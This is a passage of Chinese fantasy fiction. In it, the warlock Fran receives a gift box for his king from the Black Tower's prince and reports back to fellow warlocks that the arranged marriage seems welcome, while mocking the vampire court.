从重量判断，里面不是宝石，也不是任何金属制品，例如匕首。 应该是书信，或者某种文书？ 希望没有涂抹毒药。 弗兰这样想着，为自己的幽默勾起嘴角。 巫灵免疫所有毒素，无论植物、动物还是矿物。可惜总有人不信邪，妄图以毒药谋害巫灵王。其下场就是被投入兽笼，落得尸骨无存。 看着弗兰接过礼物，卷丹向他告辞，转身回到塔内。 心知不会在今天见到岑青，弗兰不打算多留，当即转身离开。与茉莉等人擦身而过时，不忘抬手拉上兜帽。 面孔被遮住的瞬间，四周空间发生扭曲，巫灵的身影变得透明，如来时一般，突兀地消失在众人眼前。 警报解除，地精们顿时松懈下来。 看到运回的物资，他们自发上前帮忙，动作干脆利落。 黑骑士们收起兵器，迈步走向车后的战马，各自抬手覆上马颈，感受到旺盛的生命力，不由得眼前一亮。 “好马！” 黑塔中部，雕刻金蔷薇的房间内，岑青离开窗前，重拾古老的硬皮书。 目光触及泛黄的纸页，指尖划过一行字，他不禁勾起嘴角。 “巫灵，的确百闻不如一见。” 在他脚边，雪豹幼崽埋首一只大碗，吃得头也不抬。毛茸茸的脸上沾满浓稠的羊奶，样子格外滑稽。 金岩堡内，弗兰与幻影融合，未被任何血族发现。带回的信匣被掩盖在斗篷下，同样未被留意。 戈雅侧身靠过来，殷红的嘴唇翕动，声音极低：“你去了黑塔？” “是的。”弗兰回答。 “你见到他了？”另一边的巫灵开口问道。 “很遗憾，没有。”弗兰如实回答。在对方感到失望之际，话锋一转，“他命侍女送出一只盒子，声称是送给陛下的礼物。” “礼物？” “据那名侍女说，这位王子对陛下仰慕已久，很期待雪域之行。看样子他不是被迫联姻，应该很乐意与陛下成婚。” “我收到的情报不是这样。”戈雅闻言不禁皱眉。俊俏的面容覆在兜帽下，巧妙隐藏起情绪。 “耳听为虚，眼见为实。我们的陛下将拥抱一个聪明的美人。而他们，”弗兰扫视在场的血族，目光幽暗，语气轻蔑，“不过是一群被玩弄在股掌之间，还自以为是的蠢货。” 蠢货？ 在场巫灵挑了下眉，不着痕迹点头，笑容变得玩味。 很贴切的形容，倒也名副其实。